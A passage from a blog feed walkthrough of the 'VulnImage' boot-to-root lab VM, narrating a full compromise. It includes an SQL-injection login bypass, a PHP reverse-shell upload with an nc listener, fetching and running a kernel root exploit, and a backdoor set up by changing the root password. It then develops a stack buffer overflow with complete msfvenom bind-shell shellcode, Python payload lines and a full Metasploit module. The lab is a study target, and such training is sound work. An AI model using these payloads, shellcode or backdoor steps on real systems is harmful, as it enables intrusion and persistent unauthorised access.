which the attacker is currently logged in as and executing commands from. The&amp;nbsp;web server is then started.&lt;br /&gt;&lt;br /&gt;The attacker controls the target to download the exploit package from the attacker and then extracts it. The included bash script does all the necessary commands and the end result is that the attacker has now gained root access to the target. When the attacker discovered the running process and network connections, they saw that TCP port 22 was open &lt;i&gt;(which by default is used for SSH)&lt;/i&gt; as well as the SSH daemon running; as a result they&amp;nbsp;change the password to something which they know, allowing the attacker to login via SSH. The advantage of SSH is that it is a TTY shell to interact with the target as well as acting like a backdoor into the system, so they don't have to exploit the target again.&lt;br /&gt;&lt;br /&gt;After login into the box again the attacker&amp;nbsp;prepares&amp;nbsp;the target's&amp;nbsp;environment by removing the old core file (&lt;i&gt;Editor's note: This is actually a mistake that will be explained later)&lt;/i&gt;, allowing&amp;nbsp;unlimited sized core files to be&amp;nbsp;produced&amp;nbsp;as well as killing all instances of the program. The attacker then executes buffd.&lt;br /&gt;&lt;br /&gt;The attacker then connects back into the target using the backdoor. If the program "&lt;a href="http://www.gnu.org/s/screen/"&gt;screen&lt;/a&gt;" was installed locally on the target, then this wouldn't be needed as the attacker would only need one terminal to work in. In the new window, the attacker watches the local folder that buffd is being executed in, as this will&amp;nbsp;notify&amp;nbsp;the attacker if something happens in the folder.&lt;br /&gt;&lt;br /&gt;The attacker then remotely starts to interact with the target's buffd. By using netcat the attacker is able to see how the program would normally function. Then by piping commands into netcat they are able to automate the&amp;nbsp;procedure which speeds up development time. The attacker then checks to see the status of the target and buffd. The program itself gives&amp;nbsp;notification&amp;nbsp;of connection and that they have not had any changes to the folder. The attacker carries on by using python to script the automated input to buffd. They start off using 10 "A"s, then move onto 100, then 1000. At this stage the "watch" window has&amp;nbsp;notified that there has been a change. When the attacker views the output, they spot that a core file has been created thus the attacker has caused the program to crash! The attacker goes back and sends a further 10 "A"s to the target, and it appears to&amp;nbsp;response&amp;nbsp;normally, meaning only a thread crashed, not the complete program.&amp;nbsp;&lt;i&gt;Editor's note: It is good&amp;nbsp;practice to restart the program each time it crashes - just in case something 'more' crashed.&lt;/i&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #1: &amp;lt;A * 10&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #2: &amp;lt;A * 100&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #3: &amp;lt;A * 1000&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #4: &amp;lt;A * 10&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;The attacker connects back into the target, this time this window is used to debug the core file that was produced. This allows the attacker to see the state the&amp;nbsp;registers were in when the core file was created. Upon inspection the attacker notices the EIP has been&amp;nbsp;overwritten&amp;nbsp;with 41 &lt;i&gt;(which is HEX for the ASCII A, which matches the data being sent&lt;/i&gt;). This means the attacker controls EIP, which results in the attacker being able to control the 'flow' of the program!&lt;br /&gt;&lt;br /&gt;The next stage is to see which part of the buffer that was sent to the target has overwritten&amp;nbsp;the EIP address. The attacker uses metasploit's aid to locate this address, as 'pattern_create.rb' creates a unique random string for the given length. As the program crashed when the attacker sent 1000 "A"s the attacker uses the same number again. This time, instead of sending the same thing over and over again, the attacker uses metasploit's output. When this is sent to the target, this also causes the program to create another core file, hinting that it's crashed again, however this time, EIP is different. The attacker copies the EIP value and passes it back into metasloit, this time using the other half of the script, 'pattern_offset.rb'. As the string is unique, metasploit is able to&amp;nbsp;calculate&amp;nbsp;the exact part of the buffer which caused EIP to be over written, which is 124. This can be&amp;nbsp;verified as the attacker has the potential source code to the program &lt;i&gt;(the buffer was set to 120)&lt;/i&gt;. The attacker then&amp;nbsp;verifies metasploit's result by sending 124 "A"s, then the next 4 "B"s, and calculates the&amp;nbsp;remaining&amp;nbsp;values to be "C"s, which means if everything is correct, when the attacker causes the program to crash again, the only 4 "B"s will be in the EIP address.&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #38761d;"&gt;buffer #5: &amp;lt;A * 124&amp;gt;&amp;lt; B * 4&amp;gt; &amp;lt;C * 872&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Another feature of metasploit is its&amp;nbsp;ability&amp;nbsp;to produce shellcode from its payloads. This is the code that the attacker wants the vulnerable code to execute. The attacker chooses to use a bind shell, which opens a port locally and allows for remote communication to execute commands. When creating the shellcode, the attacker chooses not to use '00' or 'ff' as when it is being injected into a process it could have an effect on the&amp;nbsp;existing&amp;nbsp;running&amp;nbsp;code, for example,&amp;nbsp;'00'&amp;nbsp;terminate strcpy(), which is the vulnerable function in buffd.&amp;nbsp;&lt;i&gt;Editor's note: I will do another guide explaining how to find&amp;nbsp;bad characters at a later date. &lt;/i&gt;The attacker then&amp;nbsp;prepares&amp;nbsp;the&amp;nbsp;buffer by adding NOPs in after the second part of the buffer, the Bs.&amp;nbsp;&lt;i&gt;Editor's note:&amp;nbsp;The amount, 26 was&amp;nbsp;chosen&amp;nbsp;at random. &lt;/i&gt;A&lt;i&gt;&amp;nbsp;&lt;/i&gt;NOP or 'No Operation' command effectively doesn't do anything. The reason why NOPs are used is to create a&amp;nbsp;'NOP slide' &lt;i&gt;(sometimes referred to a 'NOP sled')&lt;/i&gt; and is used to&amp;nbsp;'pad' when the exact position in memory can't be determined with absolute accuracy. It doesn't matter if the pointer is set to the start or the middle of the NOP slide, it will still perform the same, thus making the exploit more universal in different&amp;nbsp;environments as memory addresses can be different.&amp;nbsp;The attacker then adds in 4 Cs, which are used for debugging purposes as they signal the position in memory. Afterwards the attacker places the shellcode from metasploit and along with some more NOPs. As the&amp;nbsp;original buffer was 1000 bytes, the buffer always needs to equal 1000, and the&amp;nbsp;remaining&amp;nbsp;amount is set to Cs to help&amp;nbsp;with debugging the buffer. The attacker then sends the new buffer to cause the program to crash, creating a core file once more.&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #6: &amp;lt;A * 124&amp;gt;&amp;lt; B * 4&amp;gt;&amp;lt;NOP * 26&amp;gt;&amp;lt;C * 4&amp;gt;&amp;lt;SHELLCODE * 105&amp;gt;&amp;lt;NOP * 40&amp;gt;&amp;lt;C * 697&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The attacker uses the debugger "GDB", to see the values that are set at the&amp;nbsp;various&amp;nbsp;registers. By viewing the first 200 bytes at the EAX&amp;nbsp;register, the attacker is able to see the start of the buffer which they sent to the target, as it contains As. Then it's the EIP address which contains 4 Bs, then the NOP sled, then the debugging Cs that indicates the next stage is the shellcode, which takes up the rest of the view. By viewing the&amp;nbsp;ESP&amp;nbsp;register, we can see it's pointing into the NOP&amp;nbsp;sled&amp;nbsp;which will result in executing the shellcode, therefore by replacing the Bs with the address in ESP, the program should execute the injected shellcode. After the shellcode is the rest of the padding to cause the buffer to equal 1000 bytes.&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #7: &amp;lt;A * 124&amp;gt;&amp;lt; B * 4&amp;gt;&amp;lt;NOP * 30&amp;gt; &amp;lt;SHELLCODE * 105&amp;gt;&amp;lt;NOP * 737&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The buffer gets updated to remove the debug Cs thus&amp;nbsp;extended to the NOPs. The attacker restarts buffd and does a test to verify the progress so far.&amp;nbsp;After examining the core file, the attacker copies the EIP address to replace&amp;nbsp;the Bs in the buffer. Before sending the final buffer to the target, the attacker restarts the program, closes all connections to the target and checks that the bind port is currently closed. Once the attacker sends the buffer to the target, the response hangs this time. The attacker then repeats connecting to the bind port, and this time the attacker is able to execute commands. As soon as the connection on the bind shell is closed, the buffd program also finishes.&lt;br /&gt;&lt;span style="color: #38761d;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; buffer #8: &amp;lt;A * 124&amp;gt;&amp;lt;EIP * 4&amp;gt;&amp;lt;NOP * 30&amp;gt; &amp;lt;SHELLCODE * 105&amp;gt;&amp;lt;NOP * 737&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The attacker then&amp;nbsp;restarts&amp;nbsp;the target's machine as the attacker has affected multiple aspects of the environment, and would like to make sure the exploit works in a normal clean setup. As the target's machine is starting up again, the attacker takes the time to create a metasploit module. Some advantages of using the metasploit framework is its built in handler, as well as automatically updating the exploit, for example, the attacker is able now to customize the shellcode &lt;i&gt;(the payload)&lt;/i&gt; which is executed on the client, without having to update the padding to reflect the difference in shellcode size. Once the module has been created, the attacker starts up metasploit, selects the new exploit and fills in the target's details. This time, the attacker uses a different payload, as&amp;nbsp;originally it was a bind connection, however they now test out the module by using a reserve connection. The attacker now tries the&amp;nbsp;original buffer re-created in metasploit, however it fails.&lt;br /&gt;&lt;br /&gt;The attacker now connects back via SSH, enables core files to be created once more and restarts the buffd service this time instead of executing the program directly. The attacker sends the&amp;nbsp;original python&amp;nbsp;buffer&amp;nbsp;&amp;nbsp;to the target&amp;nbsp;before the "B"s were replaced, which caused buffd to crash. Upon looking at the EIP in the core file, the attacker sees the value this time is different. The attacker updates the metasploit module to reflect the&amp;nbsp;changes and reloads the exploit in the framework. The attacker tries again to send the exploit using metasploit, this time they are presented with a shell.&lt;br /&gt;&lt;span class="Apple-tab-span" style="color: #38761d; white-space: pre;"&gt; &lt;/span&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #38761d;"&gt;*See 'vulnimage.rb' for the source code*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: -webkit-auto;"&gt;&lt;i&gt;The attacker then restores the targets machine, back to its&amp;nbsp;original&amp;nbsp;state and starts it up. After exploiting the complete system again, the attacker is able to gain access to the&amp;nbsp;&lt;/i&gt;&lt;i&gt;original&amp;nbsp;&lt;/i&gt;&lt;i&gt;core file - which was deleted the first time. After opening the core file in the debugger, the attacker is able to update the exploit to reflex the EIP&amp;nbsp;register. Therefore the attacker has a&amp;nbsp;permanent&amp;nbsp;backdoor into this target's virtual machine.&amp;nbsp;&lt;/i&gt;&lt;i&gt;Editor's note:&amp;nbsp;&lt;/i&gt;&lt;i&gt;I didn't&amp;nbsp;originally plan to explain the video to include creating a metasploit module, which is why the&amp;nbsp;&lt;/i&gt;&lt;i&gt;core file wasn't needed, therefore it wasn't moved into a safe location for use later... Lesson&amp;nbsp;learnt:&amp;nbsp;Move files, don't delete them ;)&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: -webkit-auto;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Game over...&lt;i&gt;again&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;Commands&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;"&gt;&lt;pre class="alt2" dir="ltr" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 600px;"&gt;netdiscover -r 192.168.0.1/24&lt;br /&gt;us -H -msf -Iv 192.168.0.110 -p 1-65535 &amp;amp;&amp;amp; us -H -mU -Iv 192.168.0.110 -p 1-65535&lt;br /&gt;nmap -p 1-65535 -T4 -A 192.168.0.110    # -p 22,25,80,139,445,3306,7777 &lt;br /&gt;// BT -&amp;gt; BackTrack -&amp;gt; Vulnerability Assessment -&amp;gt; Web Application Assessment -&amp;gt; Web Application Fuzzers -&amp;gt;  # Target: http://192.168.0.110. File: /pentest/web/dirbuster/directory-list-lowercase-2.3-small.txt. Disable: Brute Force File, Be recursive. #java -jar /pentest/web/dirbuster/DirBuster-0.12.jar  &lt;br /&gt;// firefox -&amp;gt; 192.168.0.110   # blog (/myblog/) [username: blogger] -&amp;gt; Post new entry! (/admin/post.php) -&amp;gt; Change profile settings! (/admin/post.php)&lt;br /&gt;// blogger // password // Test&lt;br /&gt;// blogger // ' OR 1=1-- - // Test&lt;br /&gt;// Right click -&amp;gt; View Source [fname: sig.txt]. Tools -&amp;gt; Tamper Data -&amp;gt; Enable -&amp;gt; Restart Firefox -&amp;gt; Start Tamper&lt;br /&gt;// blogger // ' OR 1=1-- - // Test&lt;br /&gt;// Tamper -&amp;gt; fname: /sig.txt. Stop Tamper&lt;br /&gt;curl http://192.168.0.110/profiles/blogger-sig.txt&lt;br /&gt;// blogger // ' OR 1=1-- - // &amp;lt;?php echo "Test2"; ?&amp;gt;&lt;br /&gt;curl http://192.168.0.110/profiles/blogger-sig.php&lt;br /&gt;// Tamper -&amp;gt; fname: sig.php. Stop Tamper&lt;br /&gt;cat /pentest/backdoors/web/webshells/php-resever-shell.php &lt;br /&gt;nc -lvvp 443&lt;br /&gt;// blogger // ' OR 1=1-- - // &amp;lt;php-resever-shell.php&amp;gt;   # Edit IP address &amp;amp; Port &lt;br /&gt;// Tamper -&amp;gt; fname: sig.php&lt;br /&gt;&lt;br /&gt;curl -D - http://192.168.0.110/profiles/blogger-sig.php &lt;br /&gt;&lt;br /&gt;cd /home/&lt;br /&gt;alias ll="ls -lAh"&lt;br /&gt;ll&lt;br /&gt;cd testuser&lt;br /&gt;ll&lt;br /&gt;ps aux&lt;br /&gt;!! | grep buffd&lt;br /&gt;cat buffd.c&lt;br /&gt;&lt;br /&gt;// Check DirBuster -&amp;gt; firefox -&amp;gt; repo&lt;br /&gt;cd /tmp&lt;br /&gt;wget 192.168.0.110/repo/buffd.c&lt;br /&gt;less buffd.c&lt;br /&gt;&lt;br /&gt;netstat -antp&lt;br /&gt;file /usr/local/sbin/buffd&lt;br /&gt;ll /usr/local/sbin/&lt;br /&gt;ll /proc/sys/kernel/         # Does't have ASLR!&lt;br /&gt;uname -r                     # &amp;lt; 2.6.12&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/exploitdb&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort&lt;br /&gt;cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "&amp;lt;|&amp;lt;=" | sort -k3&lt;br /&gt;cat platforms/linux/local/9574.txt&lt;br /&gt;wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz&lt;br /&gt;chmod 755 /var/www/exploit.tgz&lt;br /&gt;/etc/init.d/apache2 start&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;wget 192.168.0.162/exploit.tgz&lt;br /&gt;tar zxvf exploit.tgz&lt;br /&gt;cd therebel&lt;br /&gt;ls -lAh&lt;br /&gt;bash therebel.sh&lt;br /&gt;id&lt;br /&gt;ulimit -c&lt;br /&gt;ulimit -c unlimited        # Create core files&lt;br /&gt;ulimit -a&lt;br /&gt;&lt;br /&gt;watch -t -n 1 "ls -l"&lt;br /&gt;&lt;br /&gt;nc 127.0.0.1 7777    # test&lt;br /&gt;echo test  | !!&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 10)' | !nc&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 100)' | nc 192.168.0.110 7777&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 1000)' | nc 192.168.0.110 7777&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 10)' | nc 192.168.0.110 7777   # Just one thread that died&lt;br /&gt;&lt;br /&gt;apt-get install gdb&lt;br /&gt;gdb --core core&lt;br /&gt;info registers eip                                                      # info reg eip   # i f eip&lt;br /&gt;quit                                                                    # q&lt;br /&gt;rm core&lt;br /&gt;&lt;br /&gt;/pentest/exploits/framework/tools/pattern_create.rb 1000 &amp;gt; 1000&lt;br /&gt;cat 1000 | nc 192.168.0.110 7777&lt;br /&gt;&lt;br /&gt;gdb --core core&lt;br /&gt;i r eip&lt;br /&gt;&lt;br /&gt;/pentest/exploits/framework/tools/pattern_offset.rb 0x65413165 1000     # space: 124&lt;br /&gt;&lt;br /&gt;quit&lt;br /&gt;rm core; ./buffd&lt;br /&gt;&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42" * 4 + "\x43" * 872)' | nc 192.168.0.110 7777     # echo 1000-124-4 | bc&lt;br /&gt;&lt;br /&gt;gdb --core core&lt;br /&gt;i r eip&lt;br /&gt;&lt;br /&gt;x/200xb $eax&lt;br /&gt;quit&lt;br /&gt;rm core; ./buffd&lt;br /&gt;&lt;br /&gt;msfvenom -l payloads 2&amp;gt;&amp;amp;1 | grep linux&lt;br /&gt;msfvenom -p linux/x86/shell_bind_tcp -b '\x00\xff' -f c                 # shellcode:  105&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x42\x42\x42\x42" + "\x90" * 26 + "\x43\x43\x43\x43" + "\xdd\xc7\xd9\x74\x24\xf4\xba\x75\xd0\x5b\x85\x5e\x33\xc9\xb1\x14\x31\x56\x19\x03\x56\x19\x83\xee\xfc\x97\x25\x6a\x5e\xa0\x25\xde\x23\x1d\xc0\xe3\x2a\x40\xa4\x82\xe1\x02\x9e\x14\xa8\x6a\xde\xab\x5d\x36\x4a\xbc\x0c\x96\x03\x5d\xc4\x70\x4c\x53\x99\xf5\x2d\x6f\x29\x01\x1e\x09\x80\x89\x1d\x66\x7c\x44\x21\x15\xd8\x3c\x1d\x42\x16\x40\x28\x0b\x50\x28\x84\xc4\xd3\xc0\xb2\x35\x76\x79\x2d\xc3\x95\x29\xe2\x5a\xb8\x79\x0f\x90\xbb" + "\x90" * 40 + "\x42" * 4 + "\x43" * 763)'| nc 192.168.0.110 7777   # A B NOP C SHELL NOP   (B will be EIP, C is debugging - can be added onto NOPs, NOPs at the end to pad)&lt;br /&gt;gdb --core core&lt;br /&gt;i r esp                                                                 # ESP: 0xbffff330&lt;br /&gt;x/200xb $esp                                                            # start of Cs&lt;br /&gt;quit&lt;br /&gt;rm core; ./buffd&lt;br /&gt;&lt;br /&gt;nc -vv 192.168.0.110 4444&lt;br /&gt;python -c 'import sys;sys.stdout.write("\x41" * 124 + "\x30\xf3\xff\xbf" + "\x90" * 30 + "\xdd\xc7\xd9\x74\x24\xf4\xba\x75\xd0\x5b\x85\x5e\x33\xc9\xb1\x14\x31\x56\x19\x03\x56\x19\x83\xee\xfc\x97\x25\x6a\x5e\xa0\x25\xde\x23\x1d\xc0\xe3\x2a\x40\xa4\x82\xe1\x02\x9e\x14\xa8\x6a\xde\xab\x5d\x36\x4a\xbc\x0c\x96\x03\x5d\xc4\x70\x4c\x53\x99\xf5\x2d\x6f\x29\x01\x1e\x09\x80\x89\x1d\x66\x7c\x44\x21\x15\xd8\x3c\x1d\x42\x16\x40\x28\x0b\x50\x28\x84\xc4\xd3\xc0\xb2\x35\x76\x79\x2d\xc3\x95\x29\xe2\x5a\xb8\x79\x0f\x90\xbb" + "\x90" * 40 + "\x42" * 4 + "\x43" * 763)'| nc 192.168.0.110 7777&lt;br /&gt;nc -vv 192.168.0.110 4444&lt;br /&gt;&lt;br /&gt;cd /pentest/exploits/framework/modules/exploits/linux/misc&lt;br /&gt;vi vulnimage.rb&lt;br /&gt;msfconsole&lt;br /&gt;search vulnimage&lt;br /&gt;use exploit/linux/misc/vulnimage&lt;br /&gt;info&lt;br /&gt;show options&lt;br /&gt;set payload linux/x86/shell/reverse_tcp&lt;br /&gt;set RHOST 192.168.0.110&lt;br /&gt;set LHOST 192.168.0.162&lt;br /&gt;show options&lt;br /&gt;exploit&lt;br /&gt;exploit&lt;br /&gt;exploit&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;vulnimage.rb&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;"&gt;&lt;pre class="alt2" dir="ltr" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; height: 200px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; text-align: left; width: 600px;"&gt;# Template: http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide#A23-Exploit&lt;br /&gt;&lt;br /&gt;require 'msf/core'&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;&lt;br /&gt;      include Msf::Exploit::Remote::Tcp&lt;br /&gt;&lt;br /&gt;      def initialize(info = {})&lt;br /&gt;                super(update_info(info,&lt;br /&gt;                        'Name'           =&amp;gt; 'VulnImage.zip Stack Buffer Overflow (\'buffd\' Daemon)',&lt;br /&gt;                        'Description'    =&amp;gt; %q{&lt;br /&gt;                                        A simple exploit for the 'boot to root', vulnimage.zip.&lt;br /&gt;                                        The vulnerability is in daemon service, 'buffd', which runs as root at startup.&lt;br /&gt;                                             },&lt;br /&gt;                        'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;                        'Author'         =&amp;gt; [ 'g0tmi1k' ],&lt;br /&gt;                        'Version'        =&amp;gt; '$Revision: 1 $',&lt;br /&gt;                        'References'     =&amp;gt;&lt;br /&gt;                           [&lt;br /&gt;                              [ 'Download', 'http://ds.mathematik.uni-marburg.de/~lbaumgaertner/vulnimage.zip' ],&lt;br /&gt;                           ],&lt;br /&gt;                        'Payload'        =&amp;gt;&lt;br /&gt;                                {&lt;br /&gt;                                        'Space'    =&amp;gt; 672,&lt;br /&gt;                                        'BadChars' =&amp;gt; "\x00\xff",&lt;br /&gt;                                },&lt;br /&gt;                        'Platform'       =&amp;gt; 'lin',&lt;br /&gt;                        'Targets'        =&amp;gt;&lt;br /&gt;                                [&lt;br /&gt;                                        [ 'VulnImage.zip Virtual Machine',{'Ret' =&amp;gt; 0xbffff380, } ]   # Direct address (NOP sled!)&lt;br /&gt;                                ],&lt;br /&gt;                        'Privileged'     =&amp;gt; false,&lt;br /&gt;                        'DisclosureDate' =&amp;gt; 'Nov 17 2011',&lt;br /&gt;                        'DefaultOptions' =&amp;gt;&lt;br /&gt;                                {&lt;br /&gt;                                        'RPORT' =&amp;gt; '7777',&lt;br /&gt;                                        'EXITFUNC' =&amp;gt; 'process',&lt;br /&gt;                                },&lt;br /&gt;                        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;                        'Privileged'     =&amp;gt; false&lt;br /&gt;                        ))&lt;br /&gt;       end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       def check&lt;br /&gt;          return Exploit::CheckCode::Vulnerable   # Will always return true&lt;br /&gt;       end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       def exploit&lt;br /&gt;          connect&lt;br /&gt;&lt;br /&gt;          # Feedback to user&lt;br /&gt;          print_status("Sending #{payload.encoded.length} byte payload...")&lt;br /&gt;&lt;br /&gt;          # Crafting exploit&lt;br /&gt;          buf = "A" * 124&lt;br /&gt;          buf += [ target.ret ].pack('V')&lt;br /&gt;          buf += make_nops(30)&lt;br /&gt;          buf += payload.encoded&lt;br /&gt;&lt;br /&gt;          # Sending exploit!&lt;br /&gt;          sock.put(buf)&lt;br /&gt;          sock.get&lt;br /&gt;&lt;br /&gt;          handler&lt;br /&gt;          disconnect&lt;br /&gt;       end&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Notes&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When starting the VM for the first time with VMware, select "I Moved It" -&amp;nbsp;&lt;i&gt;otherwise it could cause issues (e.g. the target might not be 'visible'!).&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Some mistakes in the video are more obvious.&lt;/li&gt;&lt;li&gt;Instead of using "php-reverse-shell" &amp;amp; "netcat", "PHP Meterpreter" &amp;amp; "Metasploit" could of been used.&lt;/li&gt;&lt;li&gt;Could of viewed the page (profile.php - line 28)&amp;nbsp;source to find the MySQL&amp;nbsp;credentials, e.g. "&lt;i&gt;mysql_connect ('localhost', 'root', 'toorcon') ;"&lt;/i&gt;&lt;/li&gt;&lt;li&gt;By default the VM is set to use the network&amp;nbsp;adapter&amp;nbsp;to be in "NAT" mode, lots of people like to use it in "bridged" mode.&lt;/li&gt;&lt;li&gt;The VM uses DHCP to&amp;nbsp;acquire an IP address&lt;/li&gt;&lt;li&gt;This isn't the best guide for learning the basics to exploit development. To fully understand it, its worth reading &lt;a href="https://www.corelan.be/"&gt;corelan&lt;/a&gt;&amp;nbsp;website as well as sickn3ss's &lt;a href="http://sickness.tor.hu/?p=363"&gt;guides&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The exploit uses an static address to jump to, as I don't locate an ESP&amp;nbsp;address to use.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;0xbffff330 = Direct&lt;/li&gt;&lt;li&gt;0xbffff320 = Daemon&lt;/li&gt;&lt;li&gt;0xbffff380 = Orignal VM&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Song(s): &lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/15871328/Manhattan/Product.html?aid=15870767"&gt;W&amp;amp;W - Manhattan (Original Mix)&lt;/a&gt;&amp;nbsp;&amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/16446515/Full-Focus/Product.html?aid=16446352"&gt;Armin van &amp;nbsp;Buuren - Full Focus&lt;/a&gt;&amp;nbsp;&amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/19731321/Sun-Moon/Product.html?aid=19730456"&gt;Above &amp;amp; Beyond ft Richard Bedford - Sun &amp;amp; Moon (Marcus Schossow Remix Edit)&lt;/a&gt;&amp;nbsp;&amp;amp;&amp;nbsp;&lt;a href="http://www.play.com/Music/MP3-Download-Track/4-/27645794/Status-Excessu-D/Product.html?aid=27645233"&gt;Armin van Buuren Presents Gaia - Status Excessu D (ASOT 500 Theme)&lt;/a&gt;&lt;br /&gt;Video length: 21:58&lt;br /&gt;Capture length: 71:40&lt;br /&gt;Blog Post:&amp;nbsp;&lt;a href="http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html"&gt;http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html&lt;/a&gt;&lt;br /&gt;Forum Post: &lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=47186&amp;amp;p=211920#post211920"&gt;http://www.backtrack-linux.org/forums/showthread.php?t=47186&amp;amp;p=211920#post211920&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;~g0tmi1k&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-4819071614948962707?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/4819071614948962707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4819071614948962707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/4819071614948962707'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/12/video-vulnimage-manual-method.html' title='[Video] VulnImage - Manual Method'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-4276607361767420661</id><published>2011-12-14T21:17:00.000Z</published><updated>2012-01-15T15:52:40.700Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Video'/><category scheme='http://www.blogger.com/atom/ns#' term='boot2root'/><category scheme='http://www.blogger.com/atom/ns#' term='VulnImage'/><title type='text'>[Video] VulnImage - Automated Method</title><content type='html'>&lt;span style="color: 